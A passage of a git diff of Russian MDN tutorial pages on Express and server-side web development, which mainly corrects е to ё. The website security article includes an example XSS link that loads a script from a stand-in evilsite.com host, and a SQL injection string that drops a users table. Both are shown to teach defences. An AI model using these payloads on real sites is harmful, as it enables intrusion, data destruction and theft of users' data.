удобный метод для доступа к информации cookie).</li> + <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: разбирает заголовок и заполняет <code>req.cookies</code> (по сути, даёт удобный метод для доступа к информации cookie).</li> <li><a href="https://www.npmjs.com/package/debug">debug</a>: небольшой отладчик, работающий по образцу методики отладки ядра node.</li> <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: средство логирования запросов HTTP для node.</li> <li><a href="https://www.npmjs.com/package/serve-favicon">serve-favicon</a>: средство обработки <a href="https://en.wikipedia.org/wiki/Favicon">favicon</a> (значка, используемого для представления сайта на вкладках браузера, закладках и т. д).</li> @@ -336,7 +336,7 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <h3 id="Файл_www">Файл www</h3> -<p>Файл <strong>/bin/www</strong> – это входная точка приложения. Сначала в файле создается объект основного приложения, расположенного в app.js — выполняется app=<code>require(./</code><code>app</code><code>).</code></p> +<p>Файл <strong>/bin/www</strong> – это входная точка приложения. Сначала в файле создаётся объект основного приложения, расположенного в app.js — выполняется app=<code>require(./</code><code>app</code><code>).</code></p> <pre class="brush: js notranslate">#!/usr/bin/env node @@ -351,11 +351,11 @@ GET /favicon.ico 404 34.134 ms - 1335</pre> <p><strong>Заметка:</strong> <code>require()</code> -- это глобальная функция node для импорта модулей в текущий файл. Для модуля <strong>app.js </strong>указан относительный путь, а расширение файла по умолчанию (.js) опущено.</p> </div> -<p>Оставшаяся часть кода настраивает порт сервера node для HTTP (определен в переменной среды или 3000, если не определен), и начинает обработку и протоколирование соединений и ошибок сервера. Сейчас вам не требуется дополнительных сведений о коде (все в этом файле шаблонно), но, при желании, его можно посмотреть.</p> +<p>Оставшаяся часть кода настраивает порт сервера node для HTTP (определён в переменной среды или 3000, если не определён), и начинает обработку и протоколирование соединений и ошибок сервера. Сейчас вам не требуется дополнительных сведений о коде (все в этом файле шаблонно), но, при желании, его можно посмотреть.</p> <h3 id="Файл_app.js">Файл app.js</h3> -<p>Этот файл создает объект приложения <code>express </code>(с именем<code>app</code>, по соглашению), настраивает приложение и промежуточное ПО, а затем экспортирует приложение из модуля. В приведенном ниже коде показаны только те части файла, которые создают и экспортируют объект приложения:</p> +<p>Этот файл создаёт объект приложения <code>express </code>(с именем<code>app</code>, по соглашению), настраивает приложение и промежуточное ПО, а затем экспортирует приложение из модуля. В приведённом ниже коде показаны только те части файла, которые создают и экспортируют объект приложения:</p> <pre class="brush: js notranslate"><code>var express = require('express'); var app = express(); @@ -382,10 +382,10 @@ var users = require('./routes/users'); </pre> <div class="note"> -<p><strong>Заметка:</strong> Здесь мы только импортируем модули. В действительности эти пути еще не используются — это произойдет в файле несколько позже.</p> +<p><strong>Заметка:</strong> Здесь мы только импортируем модули. В действительности эти пути ещё не используются — это произойдёт в файле несколько позже.</p> </div> -<p>Далее, импортированные модули express применяются для создания объекта app, который потом устанавливает движки-шаблоны представления. Установка движков состоит их двух частей. В первой мы задаем значение 'view', указывая папку, в которой будут размещаться шаблоны (у нас это /views). Во второй мы задаем значение движка 'view engine', указывая на библиотеку шаблона (у нас — "pug").</p> +<p>Далее, импортированные модули express применяются для создания объекта app, который потом устанавливает движки-шаблоны представления. Установка движков состоит их двух частей. В первой мы задаём значение 'view', указывая папку, в которой будут размещаться шаблоны (у нас это /views). Во второй мы задаём значение движка 'view engine', указывая на библиотеку шаблона (у нас — "pug").</p> <pre class="brush: js notranslate">var app = express(); @@ -412,7 +412,7 @@ app.use('/users', users); </pre> <div class="note"> -<p><strong>Заметка:</strong> . пути, указанные выше ('/' и '<code>/users'</code>) рассматриваются как префиксы путей, определенных в импортированных файлах. Так, например, если импортированный модуль users определяет путь для /profile, для доступа следует указать /users/profile. Мы поговорим подробнее о путях в последующей статье.</p> +<p><strong>Заметка:</strong> . пути, указанные выше ('/' и '<code>/users'</code>) рассматриваются как префиксы путей, определённых в импортированных файлах. Так, например, если импортированный модуль users определяет путь для /profile, для доступа следует указать /users/profile. Мы поговорим подробнее о путях в последующей статье.</p> </div> <p>Последняя в файле промежуточная библиотека добавляет методы обработки ошибок и ответов 404 от HTTP.</p> @@ -442,7 +442,7 @@ app.use(function(err, req, res, next) { <h3 id="Пути_Routes">Пути (Routes)</h3> -<p>Файл путей /routes/users.js приведен ниже (файлы путей имеют сходную структуру, поэтому нет необходимости приводить также index.js). Сначала загружается модуль Express, затем он используется для получения объекта express.Router. После этого для этого объекта задается путь, и, наконец, объект-роутер экспортируется из модуля (именно это позволяет импортировать файл в app.js):.</p> +<p>Файл путей /routes/users.js приведён ниже (файлы путей имеют сходную структуру, поэтому нет необходимости приводить также index.js). Сначала загружается модуль Express, затем он используется для получения объекта express.Router. После этого для этого объекта задаётся путь, и, наконец, объект-роутер экспортируется из модуля (именно это позволяет импортировать файл в app.js):.</p> <pre class="brush: js notranslate">var express = require('express'); var router = express.Router(); @@ -455,7 +455,7 @@ var router = express.Router(); module.exports = router; </pre> -<p>Путь определяет колбэк-функцию, которая будет вызвана, когда обнаружится HTTP GET-запрос корректного вида. Образец для сопоставления пути задается при импорте модуля -- ('<code>/users</code>') плюс что-то, определяемое в этом файле ('<code>/</code>'). Иными словами, этот путь будет использован, когда получен URL-запрос <code>/users/</code>.</p> +<p>Путь определяет колбэк-функцию, которая будет вызвана, когда обнаружится HTTP GET-запрос корректного вида. Образец для сопоставления пути задаётся при импорте модуля -- ('<code>/users</code>') плюс что-то, определяемое в этом файле ('<code>/</code>'). Иными словами, этот путь будет использован, когда получен URL-запрос <code>/users/</code>.</p> <div class="note"> <p><strong>Совет:</strong> запустите сервер и задайте в браузере URL <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. Вы должны увидеть<strong> </strong>сообщение: 'respond with a resource'.</p> @@ -473,7 +473,7 @@ router.get('/', function(req, res) { }); </pre> -<p>Шаблон для пути '/' приведен ниже (файл <strong>index.pug</strong>). О синтаксисе мы поговорим позже. Сейчас важно знать, что переменная title со значением 'Express' помещена в определенное место шаблона.</p> +<p>Шаблон для пути '/' приведён ниже (файл <strong>index.pug</strong>). О синтаксисе мы поговорим позже. Сейчас важно знать, что переменная title со значением 'Express' помещена в определённое место шаблона.</p> <pre class="notranslate">extends layout diff --git a/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html index 6a816405e4..57b1bcc18a 100644 --- a/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html +++ b/files/ru/learn/server-side/express_nodejs/tutorial_local_library_website/index.html @@ -43,7 +43,7 @@ original_slug: Learn/Server-side/Express_Nodejs/Учебник_сайт_local_li <li>Использовать базу данных для хранения данных вашего приложения.</li> <li>Создавать маршруты для запросов различной информации и шаблонов ("представлений") для рендеринга данных в виде HTML для отображения в браузере.</li> <li>Работать с формами.</li> - <li>Развертывать ваше приложение в производство.</li> + <li>Развёртывать ваше приложение в производство.</li> </ul> <p>Вы уже имеете знания о некоторых из этих тем и кратко касались других. К концу серии уроков вы должны знать достаточно, чтобы разрабатывать простые приложения Express самостоятельно.</p> diff --git a/files/ru/learn/server-side/first_steps/index.html b/files/ru/learn/server-side/first_steps/index.html index 4f6b0b78f6..7e1c323a9e 100644 --- a/files/ru/learn/server-side/first_steps/index.html +++ b/files/ru/learn/server-side/first_steps/index.html @@ -15,7 +15,7 @@ translation_of: Learn/Server-side/First_steps --- <div>{{LearnSidebar}}</div> -<p>В этом модуле, посвященном программированию на стороне сервера, мы ответим на несколько фундаментальных вопросов о программировании серверной части: «что это такое?», «чем оно отличается от программирования клиентской части?» и «почему оно так полезно?». Затем последует обзор некоторых самых популярных веб-фреймворков для серверной части и руководство по выбору наиболее подходящего фреймворка для создания вашего первого сайта. Наконец, мы завершим этот модуль вводной статьей о безопасности веб-сервера.</p> +<p>В этом модуле, посвящённом программированию на стороне сервера, мы ответим на несколько фундаментальных вопросов о программировании серверной части: «что это такое?», «чем оно отличается от программирования клиентской части?» и «почему оно так полезно?». Затем последует обзор некоторых самых популярных веб-фреймворков для серверной части и руководство по выбору наиболее подходящего фреймворка для создания вашего первого сайта. Наконец, мы завершим этот модуль вводной статьёй о безопасности веб-сервера.</p> <h2 id="Прежде_чем_начать">Прежде чем начать</h2> @@ -41,9 +41,9 @@ translation_of: Learn/Server-side/First_steps <dt><a href="/ru/docs/Learn/Server-side/First_steps/Web_frameworks">Фреймворки серверной части</a></dt> <dd>Последняя статья рассказывает о том, что нужно делать веб-приложению серверной стороны для ответа на запросы от веб-браузера. Мы покажем здесь, как веб-фреймворки могут упростить эти задачи и поможем вам подобрать подходящий фреймворк для вашего первого серверного веб-приложения.</dd> <dt><a href="/ru/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a></dt> - <dd>Безопасность веб-сайта требует бдительности на всех этапах проектирования сайта и его использования. Эта вводная статья не сделает из вас гуру безопасности сайтов, но поможет узнать, какие первые важные шаги вы можете предпринять для повышения устойчивости вашего веб-приложения против наиболее распространенных угроз.</dd> + <dd>Безопасность веб-сайта требует бдительности на всех этапах проектирования сайта и его использования. Эта вводная статья не сделает из вас гуру безопасности сайтов, но поможет узнать, какие первые важные шаги вы можете предпринять для повышения устойчивости вашего веб-приложения против наиболее распространённых угроз.</dd> </dl> <h2 id="Аттестация">Аттестация</h2> -<p>Этот "обзорный" модуль не содержит никакой аттестации, поскольку мы даже не прилагаем здесь для вас никакого кода. Мы действительно надеемся, что на текущем этапе у вас сформировалось четкое понимание того, какие виды функционала вы можете предоставить, используя программирование на стороне сервера, и вы уже приняли решение по поводу фреймворка, который вы будете использовать для создания вашего первого сайта.</p> +<p>Этот "обзорный" модуль не содержит никакой аттестации, поскольку мы даже не прилагаем здесь для вас никакого кода. Мы действительно надеемся, что на текущем этапе у вас сформировалось чёткое понимание того, какие виды функционала вы можете предоставить, используя программирование на стороне сервера, и вы уже приняли решение по поводу фреймворка, который вы будете использовать для создания вашего первого сайта.</p> diff --git a/files/ru/learn/server-side/first_steps/web_frameworks/index.html b/files/ru/learn/server-side/first_steps/web_frameworks/index.html index 29f5d6330c..25b9ec408e 100644 --- a/files/ru/learn/server-side/first_steps/web_frameworks/index.html +++ b/files/ru/learn/server-side/first_steps/web_frameworks/index.html @@ -235,7 +235,7 @@ def youngest(request): <p><span class="tlid-translation translation" lang="ru"><span title=""><a href="http://flask.pocoo.org/">Flask</a> </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> это микрофреймворк для Python.</span><br> <br> - <span title="">И хотя Flask минималистичен, он может создавать серьезные веб-сайты из коробки.</span> <span title="">Он содержит сервер разработки и отладчик, а также поддерживает шаблоны <a href="https://github.com/pallets/jinja">Jinja2</a>, безопасные файлы cookie, <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">модульное тестирование</a> и диспетчеризацию запросов <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>.</span> <span title="">У него хорошая документация и активное сообщество.</span></span></p> + <span title="">И хотя Flask минималистичен, он может создавать серьёзные веб-сайты из коробки.</span> <span title="">Он содержит сервер разработки и отладчик, а также поддерживает шаблоны <a href="https://github.com/pallets/jinja">Jinja2</a>, безопасные файлы cookie, <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5">модульное тестирование</a> и диспетчеризацию запросов <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a>.</span> <span title="">У него хорошая документация и активное сообщество.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Flask стал чрезвычайно популярным, особенно для разработчиков, которым необходимо предоставлять веб-сервисы в небольших системах с ограниченными ресурсами (например, запуск веб-сервера на <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="https://www.raspberrypi.org/">контроллеры Drone</a> и т. п.)</span></span>.</p> @@ -243,7 +243,7 @@ def youngest(request): <p><a href="http://expressjs.com/">Express</a> — быстрый, непринуждённый, гибкий и минималистский веб-фреймворк для <a href="https://nodejs.org/en/">Node.js</a> (node — это серверная среда для запуска JavaScript). Он обеспечивает надёжный набор функций для веб и мобильных приложений и предоставляет полезные HTTP-утилиты и <a href="/en-US/docs/Glossary/Middleware">middleware</a> (промежуточные интерфейсы).</p> -<p><span class="tlid-translation translation" lang="ru">Express чрезвычайно популярен, частично потому, что он облегчает миграцию клиентских веб-программистов JavaScript в разработку на стороне сервера, а частично потому, что он ресурсоэффективен (базовая среда узлов использует легкую многозадачность в потоке, а не порождает отдельные процессы для каждого новый веб-запроса).</span></p> +<p><span class="tlid-translation translation" lang="ru">Express чрезвычайно популярен, частично потому, что он облегчает миграцию клиентских веб-программистов JavaScript в разработку на стороне сервера, а частично потому, что он ресурсоэффективен (базовая среда узлов использует лёгкую многозадачность в потоке, а не порождает отдельные процессы для каждого новый веб-запроса).</span></p> <p><span class="tlid-translation translation" lang="ru">Поскольку Express является минималистским веб-фреймворком, он не включает в себя все компоненты, которые вы, возможно, захотите использовать (например, доступ к базе данных и поддержка пользователей и сеансов предоставляются через независимые библиотеки). Есть много отличных независимых компонентов, но иногда бывает сложно решить, какой из них лучше всего подходит для конкретной цели! </span></p> diff --git a/files/ru/learn/server-side/first_steps/website_security/index.html b/files/ru/learn/server-side/first_steps/website_security/index.html index 514d7490a5..1f976dd741 100644 --- a/files/ru/learn/server-side/first_steps/website_security/index.html +++ b/files/ru/learn/server-side/first_steps/website_security/index.html @@ -8,7 +8,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> -<p class="summary">Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить свое веб-приложение против наиболее распространенных атак.</p> +<p class="summary">Безопасность сайта требует бдительности во всех аспектах дизайна и использования сайта. Эта вводная статья не сделает из вас гуру безопасности веб-сайта, но она поможет вам понять, откуда приходят угрозы, и что вы можете сделать, чтобы укрепить своё веб-приложение против наиболее распространённых атак.</p> <table class="learn-box standard-table"> <tbody> @@ -18,20 +18,20 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность </tr> <tr> <th scope="row">Цель:</th> - <td>Понять самые распространенные угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.</td> + <td>Понять самые распространённые угрозы безопасности веб-приложений. И что вы можете сделать, чтобы уменьшить риск взлома вашего сайта.</td> </tr> </tbody> </table> <h2 id="Что_такое_безопасность_сайта">Что такое безопасность сайта?</h2> -<p>Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение измененной (и часто поврежденной) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.</p> +<p>Интернет опасное место! Мы регулярно слышим о том, что веб-сайты становятся недоступными из-за атак типа отказано в обслуживании, или отображение изменённой (и часто повреждённой) информации на их страницах. В других случаях миллионы паролей, адресов электронной почты и данные кредитных карт становились общедоступными, подвергая пользователей веб-сайта личному смущению или к финансовым рискам.</p> <p>Цель веб-безопасности заключается в предотвращении этих (или других) видов атак. Более формальным определением веб-безопасности является: <em>способы защиты веб-сайтов от несанкционированного доступа, использования, изменения, уничтожения или нарушения работы.</em></p> -<p>Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надежные и продуманные механизмы защиты от ряда наиболее распространенных атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.</p> +<p>Для эффективной безопасности веб-сайта необходимо уделять особое внимание к разработке всего веб-сайта: к вашему веб-приложению, конфигурации веб-сервера, при написании политик создания и обновления паролей, а так же кода на стороне клиента. Хотя все это звучит очень зловеще, хорошая новость заключается в том, что если вы используете веб-фреймворк для серверной части, то он почти наверняка обеспечит «по умолчанию» надёжные и продуманные механизмы защиты от ряда наиболее распространённых атак. Другие атаки можно смягчить с помощью конфигурации вашего веб-сервера, например, включив HTTPS. Наконец, есть общедоступные инструменты для сканирования уязвимостей, которые могут помочь вам определить, если вы допустили какие-либо очевидные ошибки.</p> -<p>В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространенных угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.</p> +<p>В оставшейся части этой статьи мы рассмотрим более подробную информацию о некоторых самых распространённых угрозах и о простых шагах, которые вы можете предпринять, чтобы защитить свой сайт.</p> <div class="note"> <p><strong>Примечание: </strong>Это вводная статья, призванная помочь вам задуматься о безопасности веб-сайта, но она не является исчерпывающей.</p> @@ -39,25 +39,25 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <h2 id="Угрозы_безопасности_сайта">Угрозы безопасности сайта</h2> -<p>В этом разделе перечислены лишь некоторые из наиболее распространенных угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо <em>недостаточно параноидально</em> относится к данным, поступающим из браузера.</p> +<p>В этом разделе перечислены лишь некоторые из наиболее распространённых угроз веб-сайта и способы их устранения. Читая, обратите внимание на то, насколько успешны угрозы, когда веб-приложение доверяет, либо <em>недостаточно параноидально</em> относится к данным, поступающим из браузера.</p> <h3 id="Межсайтовый_скриптинг_XSS">Межсайтовый скриптинг (XSS)</h3> -<p>XSS (<em>Cross-Site Scripting</em> - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код <em>через</em> веб-сайт в браузеры других пользователей. Поскольку внедренный код поступает в браузер с сайта, он является <em>доверенным</em> и может выполнять такие действия, как отправка авторизационного файла <em>cookie</em>пользователя злоумышленнику. Когда у злоумышленника есть файл <em>cookie</em>, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.</p> +<p>XSS (<em>Cross-Site Scripting</em> - Межсайтовый скриптинг) это термин, используемый для описания типа атак, которые позволяют злоумышленнику внедрять вредоносный код <em>через</em> веб-сайт в браузеры других пользователей. Поскольку внедрённый код поступает в браузер с сайта, он является <em>доверенным</em> и может выполнять такие действия, как отправка авторизационного файла <em>cookie</em>пользователя злоумышленнику. Когда у злоумышленника есть файл <em>cookie</em>, он может войти на сайт, как если бы он был пользователем, и сделать все, что может пользователь, например, получить доступ к данным кредитной карты, просмотреть контактные данные или изменить пароли.</p> <div class="note"> <p><strong>Примечание</strong>: Уязвимости XSS исторически встречались чаще, чем любые другие виды угроз безопасности.</p> </div> -<p>Уязвимости XSS делятся на <em>отраженные</em> и <em>хранимые</em>, в зависимости от того, как сайт возвращает внедренный код в браузер.</p> +<p>Уязвимости XSS делятся на <em>отражённые</em> и <em>хранимые</em>, в зависимости от того, как сайт возвращает внедрённый код в браузер.</p> <ul> - <li><em>Отраженная </em>XSS-уязвимость возникает, когда пользовательский контент, который передается на сервер, <em>немедленно</em> и <em>без изменений</em> возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script></code>) и переслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.</li> + <li><em>Отражённая </em>XSS-уязвимость возникает, когда пользовательский контент, который передаётся на сервер, <em>немедленно</em> и <em>без изменений</em> возвращается для отображения в браузере. Любой скрипт в исходном пользовательском контенте запустится при загрузке новой страницы. Например, рассмотрим строку поиска по сайту, в которой поисковые слова закодированы как параметры URL, и эти слова отображаются вместе с результатами. Злоумышленник может создать поисковую ссылку, которая будет содержать вредоносный скрипт в качестве параметра (например: <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script></code>) и переслать его другому пользователю по электронной почте. Если целевой пользователь кликнет по этой «интересной ссылке», то скрипт выполнится при отображении результатов поиска. Как мы уже говорили, злоумышленник таким образом получает всю информацию, необходимую ему для входа на сайт в качестве целевого пользователя, потенциального совершения покупок от имени пользователя или получения его контактной информации.</li> <li> <p><span class="tlid-translation translation" lang="ru">Постоянная уязвимость XSS возникает, когда вредоносный скрипт хранится на веб-сайте, а затем снова отображается без изменений, чтобы другие пользователи могли выполнять его невольно.<br> - Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учетной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.<br> + Например, доска обсуждений, которая принимает комментарии, содержащие неизмененный HTML, может хранить вредоносный скрипт от злоумышленника. Когда комментарии отображаются, скрипт выполняется и может отправить злоумышленнику информацию, необходимую для доступа к учётной записи пользователя. Атака такого рода чрезвычайно популярна и мощна, потому что злоумышленник может даже не иметь прямого отношения к жертвам.<br> <br> - Хотя данные из запросов POST или GET являются наиболее распространенным источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.<br> + Хотя данные из запросов POST или GET являются наиболее распространённым источником уязвимостей XSS, любые данные из браузера потенциально уязвимы, такие как данные cookie, отображаемые браузером, или пользовательские файлы, которые загружаются и отображаются.<br> <br> Наилучшей защитой от уязвимостей XSS является удаление или отключение любой разметки, которая потенциально может содержать инструкции по запуску кода. Для HTML это включает такие элементы, как <script>, <object>, <embed> и <link>.<br> <br> @@ -71,7 +71,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <br> <span title="">Типы внедрения SQL включают внедрение SQL на основе ошибок, внедрение SQL на основе логических ошибок и внедрение SQL на основе времени.</span><br> <br> - <span title="">Эта уязвимость присутствует, если пользовательский ввод, который передается в базовый оператор SQL, может изменить смысл оператора.</span> <span title="">Например, следующий код предназначен для перечисления всех пользователей с определенным именем (userName), которое было предоставлено из формы HTML:</span></span></p> + <span title="">Эта уязвимость присутствует, если пользовательский ввод, который передаётся в базовый оператор SQL, может изменить смысл оператора.</span> <span title="">Например, следующий код предназначен для перечисления всех пользователей с определённым именем (userName), которое было предоставлено из формы HTML:</span></span></p> <pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> @@ -80,7 +80,7 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Модифицированный оператор создает действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе).</span> <span title="">Это работает, потому что первая часть введенного текста (a ';) завершает исходное утверждение.</span><br> +<p><span class="tlid-translation translation" lang="ru"><span title="">Модифицированный оператор создаёт действительный оператор SQL, который удаляет таблицу пользователей и выбирает все данные из таблицы userinfo (которая раскрывает информацию о каждом пользователе).</span> <span title="">Это работает, потому что первая часть введённого текста (a ';) завершает исходное утверждение.</span><br> <br> <span title="">Чтобы избежать такого рода атак, вы должны убедиться, что любые пользовательские данные, которые передаются в запрос SQL, не могут изменить природу запроса.</span> <span title="">Один из способов сделать это - экранировать все символы пользовательского ввода, которые имеют особое значение в SQL.</span></span></p> @@ -102,16 +102,16 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <h3 id="Подделка_межсайтовых_запросов_CSRF">Подделка межсайтовых запросов (CSRF)</h3> -<p>CSRF-атаки позволяют злоумышленнику выполнять действия, используя учетные данные другого пользователя, без его ведома или согласия.</p> +<p>CSRF-атаки позволяют злоумышленнику выполнять действия, используя учётные данные другого пользователя, без его ведома или согласия.</p> -<p>Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определенный сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учетную запись, используя HTTP-запрос <code>POST</code>, который включает имя учетной записи и сумму денег. Джон создает форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет ее по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).</p> +<p>Этот тип атаки лучше всего пояснить на примере. Джон - злоумышленник, который знает, что определённый сайт позволяет пользователям, вошедшим в систему, отправлять деньги на указанную учётную запись, используя HTTP-запрос <code>POST</code>, который включает имя учётной записи и сумму денег. Джон создаёт форму, которая включает в себя его банковские реквизиты и сумму денег в виде скрытых полей, и отправляет её по электронной почте другим пользователям сайта (с кнопкой «Отправить», замаскированной под ссылку на сайт «быстрого обогащения»).</p> -<p>Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос <code>POST</code>, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошел ли пользователь в систему и имеет ли разрешение на совершение транзакции.</p> +<p>Если пользователь нажимает кнопку отправки, на сервер будет отправлен HTTP-запрос <code>POST</code>, содержащий сведения о транзакции и любые файлы cookie на стороне клиента, которые браузер связал с сайтом (добавление связанных файлов cookie сайта в запросы является нормальным поведением браузера). Сервер проверит файлы cookie и использует их, чтобы определить, вошёл ли пользователь в систему и имеет ли разрешение на совершение транзакции.</p> <p>В результате любой пользователь, который нажимает кнопку <em>Отправить</em> во время входа на торговый сайт, совершает транзакцию. Джон становится богатым.</p> <div class="note"> -<p><strong>Примечание: </strong>Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учетным данным). Браузер пользователя сохраняет эту информацию и автоматически включает ее во все запросы к соответствующему серверу.</p> +<p><strong>Примечание: </strong>Уловка здесь в том, что Джону не нужен доступ к файлам cookie пользователя (или учётным данным). Браузер пользователя сохраняет эту информацию и автоматически включает её во все запросы к соответствующему серверу.</p> </div> <p>Один из способов предотвратить этот тип атаки - запросить сервером запросы <code>POST</code>, содержащие секрет, созданный пользователем для конкретного сайта. Секрет будет предоставлен сервером при отправке веб-формы, используемой для переводов. Такой подход не позволяет Джону создать свою собственную форму, потому что он должен знать секрет, который сервер предоставляет пользователю. Даже если он узнает секрет и создаст форму для конкретного пользователя, он больше не сможет использовать ту же форму для атаки на каждого пользователя.</p> @@ -120,11 +120,11 @@ original_slug: Learn/Server-side/First_steps/Веб_Безопасность <h3 id="Прочие_угрозы">Прочие угрозы</h3> -<p>Другие распространенные атаки / уязвимости включают:</p> +<p>Другие распространённые атаки / уязвимости включают:</p> <ul> - <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учетных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.</li> - <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS обычно достигается за счет наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объемы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).</li> + <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учётных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.</li> + <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS обычно достигается за счёт наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объёмы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно 